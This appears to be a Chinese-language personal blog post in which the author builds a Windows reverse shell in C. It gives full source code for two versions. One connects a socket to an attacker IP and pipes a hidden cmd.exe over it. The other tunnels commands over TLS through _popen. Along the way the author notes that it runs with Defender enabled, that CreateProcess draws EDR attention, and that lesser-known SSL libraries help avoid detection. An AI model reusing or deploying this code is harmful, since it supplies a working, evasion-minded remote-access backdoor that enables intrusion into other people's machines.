windows-reverse-shell-note

2022-08-15

最近發現了一些有趣的專案來玩玩

主要是想 從0 從別人的教學文學習怎麼寫一個 windows reverse shell
也方便給自己日後更改

首先參考 MSDN的網站所說,我們先創一個簡單的 init socket exameple code

1
2
3
4
5
6
7
8
9
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")

int main() {
return 0;
}
  • initial win socket
    MSDN

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    #include <winsock2.h>
    #include <ws2tcpip.h>
    #include <stdio.h>

    #pragma comment(lib, "Ws2_32.lib")

    int main() {

    int iResult;
    WSADATA wsaData;
    WORD wVersionRequested;
    int err;
    SOCKET wsocket;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
    printf("WSAStartup failed: %d\n", iResult);
    return 1;
    }
    /* Use the MAKEWORD(lowbyte, highbyte) macro declared in Windef.h */
    wVersionRequested = MAKEWORD(2, 2);

    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0) {
    /* Tell the user that we could not find a usable */
    /* Winsock DLL. */
    printf("WSAStartup failed with error: %d\n", err);
    return 1;
    }
    # create wsa socket


    return 0;
    }
  • 設定一個連線並建立一個連線
    MSDN

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    // Create a SOCKET for connecting to server
    SOCKET ConnectSocket;
    ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (ConnectSocket == INVALID_SOCKET) {
    wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
    WSACleanup();
    return 1;
    }
    //----------------------
    // The sockaddr_in structure specifies the address family,
    // IP address, and port of the server to be connected to.
    sockaddr_in clientService;
    clientService.sin_family = AF_INET;
    inet_pton(clientService.sin_family, "127.0.0.1", &clientService.sin_addr);
    clientService.sin_port = htons(3000);
    //----------------------
    // Connect to server.
    iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
    if (iResult == SOCKET_ERROR) {
    wprintf(L"connect function failed with error: %ld\n", WSAGetLastError());
    iResult = closesocket(ConnectSocket);
    if (iResult == SOCKET_ERROR)
    wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
    WSACleanup();
    return 1;
    }

    wprintf(L"Connected to server.\n");

    原本官方的 example 是用 clientService.sin_addr.s_addr = inet_addr("127.0.0.1");,但在我新版的 VS 上面跑會出現錯誤 (error C4996),經過搜尋後得知 inet_addr 算是一個過舊的用法,網路上有提供數種解決方法,包括在 stdafx.h 加上 #define _WINSOCK_DEPRECATED_NO_WARNINGS 0 用以關閉錯誤訊息,這邊我選擇用 VS 推薦的用法,也就是以 inet_pton 取代 inet_addr

※如果出現 Cannot open include file : 'stdafx.h' : No such file or directory,可以試著將 stdafx.h 更改為 pch.h 看看,在新版 visual studio 的 Precompiled Header 是 pch.h

相關來源:
https://stackoverflow.com/questions/5328070/how-to-convert-string-to-ip-address-and-vice-versa
https://blog.csdn.net/alzzw/article/details/99706060

到這邊就可以做連線測試了

到了這邊,基本上應該可以開始著手 reverse shell 的構建了
然而,又被我找到這篇
why-is-wsaconnect-working-and-connect-not
從上文可以得知 socket 無法用於建立 reverse shell,因此是必須把 socket 更改成 WSASocket,然後想著既然都改了 socket,那是不是連 connect 都改成對應的 WSAConnect 比較保險
What is the difference between connect() and WSAConnect() ?

其實根據上面的文章看起來用 connect 也可以,而事後證明也確實如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Create a SOCKET for connecting to server
SOCKET ConnectSocket;
ConnectSocket = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (ConnectSocket == INVALID_SOCKET) {
wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
//----------------------
// The sockaddr_in structure specifies the address family,
// IP address, and port of the server to be connected to.
sockaddr_in clientService;
clientService.sin_family = AF_INET;
inet_pton(clientService.sin_family, "172.30.150.167", &clientService.sin_addr);
clientService.sin_port = htons(3000);

//----------------------
// Connect to server.

wsocket = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
if (wsocket == SOCKET_ERROR) {
wprintf(L"connect function failed with error: %ld\n", WSAGetLastError());
wsocket = closesocket(ConnectSocket);
if (wsocket == SOCKET_ERROR)
wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
// For WSAConnect use
//WSAConnect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService), NULL, NULL, NULL, NULL);

  • CreateProcess

首先定義一個 STARTUPINFO 型別的架構用給 CreateProcess 用的
MSDN

然後記得 dwFlags 一定要設定成 STARTF_USESTDHANDLES 不然 Stream IO 會跑到 spawn 程式的 cmd

STARTF_USESTDHANDLES 設好後就可以指定 process 的 IO handler

1
2
3
4
5
6
7
STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES|SW_HIDE;
si.hStdInput = (HANDLE)ConnectSocket;
si.hStdOutput = (HANDLE)ConnectSocket;
si.hStdError = (HANDLE)ConnectSocket;

最後就是 CreateProcess

MSDN
注意這邊第二個參數不能直接給字串,照著 MSDN 上的說明他是吃 LPSTR 的型別
所以找了下 stackoverflow 得到的解法

1
2
char cmd[] = "cmd.exe";
LPSTR cmdline = const_cast<LPSTR>(cmd);

除此之外還要多設定 Multi-Byte Character Set

然後 CreateProcess 的第 5 個參數要設成 TRUE,也就是 Set handle inheritance to TRUE,不然一樣會失敗
https://stackoverflow.com/questions/2040768/what-does-it-mean-a-child-process-can-inherit-the-handle

最後還要定義一個 PROCESS_INFORMATION 來定義整個 process information
source code 放在下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <Ws2tcpip.h>
#include <Windows.h>

#pragma comment(lib, "Ws2_32.lib")

int main() {

WSADATA wsaData;
WORD wVersionRequested;
int err;
SOCKET wsocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;


// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed: %d\n", iResult);
return 1;
}
/* Use the MAKEWORD(lowbyte, highbyte) macro declared in Windef.h */
wVersionRequested = MAKEWORD(2, 2);

err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) {
/* Tell the user that we could not find a usable */
/* Winsock DLL. */
printf("WSAStartup failed with error: %d\n", err);
return 1;
}
// Create a SOCKET for connecting to server
SOCKET ConnectSocket;
ConnectSocket = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (ConnectSocket == INVALID_SOCKET) {
wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
//----------------------
// The sockaddr_in structure specifies the address family,
// IP address, and port of the server to be connected to.
sockaddr_in clientService;
clientService.sin_family = AF_INET;
inet_pton(clientService.sin_family, "172.30.150.167", &clientService.sin_addr);
clientService.sin_port = htons(3000);

//----------------------
// Connect to server.

wsocket = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
if (wsocket == SOCKET_ERROR) {
wprintf(L"connect function failed with error: %ld\n", WSAGetLastError());
wsocket = closesocket(ConnectSocket);
if (wsocket == SOCKET_ERROR)
wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}

//WSAConnect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService), NULL, NULL, NULL, NULL);

wprintf(L"Connected to server.\n");
// Initial &si
memset(&si, 0, sizeof(si));

si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES|SW_HIDE;
si.hStdInput = (HANDLE)ConnectSocket;
si.hStdOutput = (HANDLE)ConnectSocket;
si.hStdError = (HANDLE)ConnectSocket;

char cmd[] = "cmd.exe";
LPSTR cmdline = const_cast<LPSTR>(cmd);
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
return 0;
}

直接在 defender 開啟的情況下做到 reverse shell 還是有點小小的興奮

感想來說…比較多還是看 MSDN 上面操作跟遇到問題後的查找,不得不說微軟除了做到工程師 friendly 之外也做到了駭客 friendly XDD,這個只是初版,有機會可以再做進階版
該 source code 同步放到我的 github 上
https://github.com/sda06407/windows-reverse-shell-practise

update with openssl

之前寫的 reverse shell 存在一個小問題,就是它是透過 TCP 進行連線的,中間走的都是明文

於是又有了改良款─基於 openssl 加密的 reverse shell

openssl 可以選擇用 visual studio 自己 compile,或是拿別人 pre-conpile 好的包來用
這邊因為是自用加上懶,直接找一個 預先編譯好的版本來用

這邊說明該如何將 openssl 匯入到 visual studio

C/C++ -> General

linker -> General

linker -> input -> edit

加上以下四個 DLL

  • ws2_32.lib
  • libssl.lib
  • Crypt32.lib
  • libcrypto.lib


前置作業做完之後,再來就是構建 SSL 交握了

參考來源

利用上面的 client 程式碼,連線到 server (attacker) 端的 openssl
可以構造出一個簡單的文字互傳功能,只是要稍微改成 windows 能跑的 code
舉個簡單例子,bzero 其實在 windows 並沒有這個 function,要馬改成 ZeroMemory
或是改成 memset 或是先行 define 的方式 #define bzero(b,len) (memset((b), '\0', (len)), (void) 0) 都可以達到一樣的效果

我這邊是除了的來以外,還搭配這個MSDN
下去做修改得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/applink.c>


// Need to link with Ws2_32.lib, Mswsock.lib, and Advapi32.lib
#pragma comment (lib, "Ws2_32.lib")
//#pragma comment (lib, "Mswsock.lib")
//#pragma comment (lib, "AdvApi32.lib")


#define DEFAULT_BUFLEN 512
#define FAIL -1

#define WIN32_LEAN_AND_MEAN

SOCKET OpenConnection()
{
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL;
struct addrinfo* ptr = NULL;
struct addrinfo hints;
char recvbuf[DEFAULT_BUFLEN];
int iResult;
int recvbuflen = DEFAULT_BUFLEN;

// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}

ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;

// Resolve the server address and port
iResult = getaddrinfo("127.0.0.1", "3000", &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}
ptr = result;
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}

// Connect to server.
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
}
return ConnectSocket;
}


SSL_CTX* InitCTX(void)
{
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
const SSL_METHOD* method = TLSv1_2_client_method(); /* Create new client-method instance */
SSL_CTX* ctx = SSL_CTX_new(method); /* Create new context */
if (ctx == NULL)
{
ERR_print_errors_fp(stderr);
abort();
}
return ctx;
}


void ShowCerts(SSL* ssl)
{
X509* cert;
char* line;
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL)
{
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
//free(line); /* free the malloc'ed string */
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
//free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */
}
else
printf("Info: No client certificates configured.\n");
}

int main(int argc, char* argv[])
{
char buf[1024];
char acClientRequest[1024] = { 0 };

SSL_library_init();
SSL_CTX* ctx = InitCTX();
int server = OpenConnection();
SSL* ssl = SSL_new(ctx); /* create new SSL connection state */
SSL_set_fd(ssl, server); /* attach the socket descriptor */


if (SSL_connect(ssl) == FAIL) {
ERR_print_errors_fp(stderr);
}
else {
const char* cpRequestMessage = "";

printf("\n\nConnected with %s encryption\n", SSL_get_cipher(ssl));

/* get any certs */
ShowCerts(ssl);
/* encrypt & send message */
SSL_write(ssl, acClientRequest, strlen(acClientRequest));

/* get reply & decrypt */
int bytes = SSL_read(ssl, buf, sizeof(buf));

buf[bytes] = 0;
printf("Received: \"%s\"\n", buf);
/* release connection state */
SSL_free(ssl);
}

/* close socket */
closesocket(server);
/* release context */
SSL_CTX_free(ctx);
return 0;
}

效果圖(記得改 ip):

做到這邊其實已經完成八成了,再來下一步是什麼呢?

這邊我之前一直想要嘗試的就是跟上一段基於 TCP 的 reverse shell 一樣,把 socket 的 IO 導到 CreateProcess 做交互,但這一步失敗了,所以後來的想法就是透過單純的文字傳送,當後門接到文字的輸入後將文字傳遞給 cmd 執行,再將結果以文字方式回傳給攻擊者,既然是單純執行 command 的話,CreateProcess 就顯得沒那麼必要了,一來他本身好像就是一些 EDR 的重點關注對象,二來 CreateProcess 可調整的部分太多了,我要的功能其實很單純,要一個一個定義好把它餵給 CreateProcess 有點麻煩,所以後來就開始找有沒有其他 function 可以做到執行 command 的行為,system 因為只會回傳 int 並不會將 command 執行結果進行回傳所以不考慮,總之後來找到了 popen,不過 windows 裡面要叫 _popen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const char* execute(char* cmdline) {

FILE* pipe;
pipe = _popen(cmdline, "r");
char buffer[128] = {0};

if (!pipe) {
return "popen() failed!";
}
try {

fgets(buffer, sizeof(buffer), pipe) != NULL)
printf("%s", buffer);
_pclose(pipe);
return buffer;

}
catch (...) {
_pclose(pipe);
throw;
}

}

但後來發現這個只會輸出一行,經人提點後才想起 fgets 會將換行符號當成是結束符號,老實說就連 msdn 的 example code 也是教用 while 去讀 pipe 裡面的資料,所以改了一下就長這樣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const char* execute(SSL* ssl, char* cmdline) {
FILE* pipe;
const char* endchar = " 2>&1";
strncat(cmdline, endchar, sizeof(endchar));
pipe = _popen(cmdline, "r");
char buffer[128] = {0};

if (!pipe) {
return "popen() failed!";
}
try {
// read till end of process:
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
SSL_write(ssl, buffer, strlen(buffer));
printf("%s", buffer);
}

_pclose(pipe);
return buffer;
}
catch (...) {
_pclose(pipe);
throw;
}
}

endchar 主要是因為 _popen 只會回傳 stdout,並不會回傳 stderr,所以加一個 2>&1 在後面可以有效解決這個問題,
至於 while 裡面的 SSL_write 就是因為如果不馬上把它輸出的話,在下一次的迴圈 buffer 內的舊資料就會被新資料蓋掉了,不然就是我還要再定義一個動態陣列去存 command 執行的全部結果….我選擇死亡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <string.h>

#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/applink.c>


// Need to link with Ws2_32.lib, Mswsock.lib, and Advapi32.lib
#pragma comment (lib, "Ws2_32.lib")
//#pragma comment (lib, "Mswsock.lib")
//#pragma comment (lib, "AdvApi32.lib")


#define DEFAULT_BUFLEN 512
#define FAIL -1

#define WIN32_LEAN_AND_MEAN

SOCKET OpenConnection(char* hostname, char* port)
{
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL;
struct addrinfo* ptr = NULL;
struct addrinfo hints;
char recvbuf[DEFAULT_BUFLEN];
int iResult;
int recvbuflen = DEFAULT_BUFLEN;

// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}

ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;

// Resolve the server address and port
iResult = getaddrinfo(hostname, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}
ptr = result;
// Create a SOCKET for connecting to server
ConnectSocket = WSASocketW(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, 0, 0);
//ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}

// Connect to server.
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
}

return ConnectSocket;
}


SSL_CTX* InitCTX(void)
{
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
const SSL_METHOD* method = TLSv1_2_client_method(); /* Create new client-method instance */
SSL_CTX* ctx = SSL_CTX_new(method); /* Create new context */
if (ctx == NULL)
{
ERR_print_errors_fp(stderr);
abort();
}
return ctx;
}


void ShowCerts(SSL* ssl)
{
X509* cert;
char* line;
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL)
{
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
//free(line); /* free the malloc'ed string */
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
//free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */
}
else
printf("Info: No client certificates configured.\n");
}

const char* execute(SSL* ssl, char* cmdline) {

FILE* pipe;
const char* endstring = " 2>&1";
char buffer[128] = {0};

//set endstring to get stderr
strncat(cmdline, endstring, sizeof(endstring));

//run command
pipe = _popen(cmdline, "r");

if (!pipe) {
return "popen() failed!";
}
try {
// read till end of process:
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {

SSL_write(ssl, buffer, strlen(buffer));

}
_pclose(pipe);
return buffer;
}
catch (...) {
_pclose(pipe);
throw;
}

}

int main(int argc, char* argv[])
{
char buf[1024] = {0};
SSL_library_init();
char hostname[] = "127.0.0.1"; //change this
char portnum[] = "3000"; //change this

SSL_CTX* ctx = InitCTX();
SOCKET server = OpenConnection(hostname, portnum);
SSL* ssl = SSL_new(ctx); /* create new SSL connection state */
SSL_set_fd(ssl, server); /* attach the socket descriptor */

if (SSL_connect(ssl) == FAIL) {
ERR_print_errors_fp(stderr);
}
else {

printf("\n\nConnected with %s encryption\n", SSL_get_cipher(ssl));

/* get any certs */
ShowCerts(ssl);

while (1){

//set startup char
const char *startupchar = ">";

/* get reply & decrypt */
SSL_write(ssl, startupchar, strlen(startupchar));
int bytes = SSL_read(ssl, buf, sizeof(buf));
buf[bytes-1] = 0;

//check recevied message
//printf("Received: \"%s\"\n", buf);

//set commmand to close connection
if(strstr(buf, "exit")) {
break;
}
/*execute command & encrypt & send result */
execute(ssl, buf);

}

/* release connection state */
puts("finish");
SSL_free(ssl);
}

/* close socket */
closesocket(server);
/* release context */
SSL_CTX_free(ctx);
return 0;
}

成果:

然後實測了一下,如果要放到陌生環境去跑的話一共會需要這幾個 dll

  • libcrypto-1_1-x64.dll
  • libssl-1_1-x64.dll
  • ucrtbased.dll
  • vcruntime140_1d.dll
  • vcruntime140d.dll

然後如果覺得 openssl 太有名怕被針對的話,可以考慮一些分支的 ssl 像是 google 的 boringSSL 或是 libreSSL,其中 boringSSL 弄起來超麻煩,而 libreSSL 完全不知道要怎麼用…